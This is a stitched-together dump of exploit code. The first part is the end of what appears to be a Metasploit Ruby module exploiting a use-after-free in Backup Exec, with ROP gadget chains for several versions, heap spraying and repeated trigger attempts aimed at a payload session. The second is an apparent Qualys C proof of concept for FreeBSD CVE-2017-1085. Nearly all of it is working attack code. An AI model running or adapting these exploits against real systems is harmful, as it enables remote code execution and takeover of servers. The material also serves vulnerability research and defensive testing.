          0xbe9c70c, # mov rcx, rax; call r12
          0xbeed611  # push rcx; pop rsp; ret
        ]
      end
      stage_2[6] = (stage_2.length - 4) * 8
      stage_2[23] = stage_3.length
      stage_2 = stage_2.pack('Q<*') + stage_3
    else
      if target.opts['Version'] == 14
        stage_2 = [
          0x63143720, # mov eax, dword ptr fs:[0x18]; ret
          0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
          0x63129b75, # pop edi; pop ecx; ret
          0xfffffff0,
          0x100000000 - 0x2000,
          0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
          0x63129b75, # pop edi; pop ecx; ret
          0x6310185a, # pop eax; ret
          0,
          0,
          0,
          0x63133912, # add eax, ecx; ret
          0x63152ded, # mov ebx, eax; call esi
          0x631309f4, # pop edx; or al, 0xf6; ret
          0x6314cfa1, # xchg eax, esp; ret
          0x6311db46, # push esp; pop esi; ret
          0x6310185a, # pop eax; ret
          0x6310185a, # pop eax; ret
          0x631171d2, # mov ecx, esi; call eax
          0x6310185a, # pop eax; ret
          0,
          0x63133912, # add eax, ecx; ret
          0x631257f4, # push ebx; call edi
          0x631546eb, # pop edi; ret
          0x631543cb, # pop ebp; pop esi; pop edi; ret
          0x63116faf, # pop ebx; ret
          0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
          0x6315dde0, # cld; ret
          0x63137a3c, # pushal; ret
          0
        ]
        stage_2[20] = (stage_2.length - 16) * 4
        stage_2[29] = stage_3.length
      elsif target.opts['Version'] == 15
        stage_2 = [
          0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
          0x6312e404, # mov eax, dword ptr [eax + 4]; ret
          0x6313031d, # pop ebp; pop ecx; ret
          0x100000000 - 0x2000,
          0xfffffff0,
          0x6316c73a, # and eax, ecx; pop esi; ret
          0x6315c407, # pop ebx; pop ecx; ret
          0x63192b17, # add eax, ebp; ret
          0x63189809, # push eax; call esi
          0x63156a54, # pop edx; or al, 0xf6; ret
          0x6312c933, # xchg eax, esp; ret
          0x63137496, # push esp; pop esi; ret
          0x6314172a, # pop eax; ret
          0,
          0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
          0x63156dd8, # pop edi; pop ebp; pop esi; ret
          0,
          0,
          0x631729cd, # pop ebx; ret
          0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
          0x6311e250, # cld; ret
          0x6311c618, # pushal; ret
          0
        ]
        stage_2[13] = (stage_2.length - 12) * 4
        stage_2[22] = stage_3.length
      elsif target.opts['Version'] == 16
        stage_2 = [
          0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
          0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
          0x63128afc, # pop ecx; ret
          0xfffffff0,
          0x6316d13a, # and eax, ecx; pop esi; ret
          0x63133031, # pop ebx; pop ecx; ret
          0x63128afc, # pop ecx; ret
          0x100000000 - 0x2000,
          0x63142860, # add eax, ecx; ret
          0x6314a34a, # push eax; call esi
          0x63157084, # pop edx; or al, 0xf6; ret
          0x6311c6c0, # xchg eax, esp; ret
          0x631375e6, # push esp; pop esi; ret
          0x631018aa, # pop eax; ret
          0,
          0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
          0,
          0x63157408, # pop edi; pop ebp; pop esi; ret
          0x63157408, # pop edi; pop ebp; pop esi; ret
          0,
          0,
          0x63181046, # sub eax, ecx; pop ebx; ret
          0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
          0x6311e298, # cld; ret
          0x6311c69c, # pushal; ret
          0
        ]
        stage_2[14] = (stage_2.length - 13) * 4
        stage_2[25] = stage_3.length
      end
      stage_2 = stage_2.pack('L<*') + stage_3
    end

    stage_2 + rand_text(stage_2.length & 1)
  end

  #
  # Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
  #
  def attempt_triggers(s, spray_socks, spray_msg)
    datastore['NumTriggerAttempts'].times do |x|
      print_status('Spraying stage 1...')
      (1..2).each do |phase|
        spray_socks.each do |ss|
          if phase == 1
            return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
            return true if @payload_connected || session_created?
          else
            50.times do
              return false unless ss.read_ndmp_msg(spray_msg.header.type)
              return true if @payload_connected || session_created?
            end
          end
        end
      end
      sleep(1)
      return true if @payload_connected || session_created?

      # Send a certain amount of data per trigger attempt so that stage 1 will always end
      # up jumping into the TLS/SSLv2 record at an expected location. The general idea is
      # that the first write will complete Backup Exec's first recv operation, the second
      # fills the buffer back up to an 8/4-byte aligned position, and the rest moves
      # through the retsled
      print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
      trigger = if target.opts['Version'] == 14
        if x == 0
          # A maximum of 5 bytes are always read at first, so just send them all at once
          "\x16\x03\x01\x10\x00"
        elsif x == 1
          # Skip over TLS header structure
          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
        else
          # Skip over a ROP NOP
          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
        end
      else
        if x == 0
          # A maximum of 11 bytes are always read at first, so just send them all at once
          "\x90\x00\x01\x03\x03" + rand_text(11 - 5)
        elsif x == 1
          # Skip over SSLv2 header structure
          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
        else
          # Skip over a ROP NOP
          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
        end
      end
      return false unless s.raw_sendall(trigger, 0)
      sleep(1)
      return true if @payload_connected || session_created?
    end

    nil
  end

  #
  # Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
  # use-after-free in a race.
  #
  # For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
  # This is because these versions of Windows overwrite the start of freed objects on the
  # heap with the next offset in the freelist. We need to then overwrite this with our
  # stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
  # struct's read callback upon re-entering SSL mode. This is less successful than the
  # Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
  # still works OK.
  #
  def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
    print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
    do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
      unless is_pre
        200.times do
          spray_socks.each do |ss|
            ss.prepare_and_write_ndmp_msg(spray_msg, 200)
            return true if @payload_connected || session_created?
          end
        end
      end
    end
    sleep(1)

    @payload_connected || session_created?
  end
end
            
/*
 * FreeBSD_CVE-2017-1085.c
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    struct rlimit stack;
    if (getrlimit(RLIMIT_STACK, &stack)) die();
    if (stack.rlim_cur > stack.rlim_max / 3) {
        stack.rlim_cur = stack.rlim_max / 3;
        if (setrlimit(RLIMIT_STACK, &stack)) die();
        execve(*argv, argv, NULL);
        die();
    }
    char * prot_none = NULL;
    for (;;) {
        prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (prot_none == MAP_FAILED) die();
        if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
        if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
    }
    if (argc > 1) {
        stack.rlim_cur = stack.rlim_max;
        if (setrlimit(RLIMIT_STACK, &stack)) die();
    }
    *prot_none = 'A';
    printf("char at %p: %02x\n", prot_none, *prot_none);
    exit(EXIT_SUCCESS);
}